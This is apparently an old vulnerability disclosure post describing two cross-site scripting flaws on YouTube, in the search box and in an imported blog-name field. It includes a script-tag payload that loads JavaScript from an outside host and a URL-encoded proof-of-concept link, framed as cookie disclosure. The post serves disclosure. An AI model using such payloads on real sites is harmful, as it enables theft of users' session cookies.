Youtube.com - XSS & cookie disclosure
Youtube.com
Homepage:
http://www.youtube.com
Affected files:
* Search box input
* Adding a new blog:
- Blog name
XSS Vuln with cookie disclosure via search box:
Data isn't sanatized when using the search box. For PoC input:
<script src=http://www.youfucktard.com/xss.js></script>
PoC link:
http://www.youtube.com/results?search=%3CSCRIPT+SRC%3Dhttp%3A%2F%2Fyoufucktard.com%2Fxss.js%3E%3C%2FSCRIPT%3E&search_type=search_videos&search=Search
Screenshots:
http://www.youfucktard.com/xsp/youtube1.jpg
------------------------------------------
XSS vuln via blog name input box:
Now, you tube allows you to add a blog to your profile, and one of the places
they let you merge a blog is from blogspot.com. I auditing them a few days ago,
and since you can use html in your blogs name amongst other things, this is
dangerous for bringing it into youtube.
Screenshots:
http://www.youfucktard.com/xsp/youtube1.jpg
http://www.youfucktard.com/xsp/youtube2.jpg
http://www.youfucktard.com/xsp/youtube3.jpg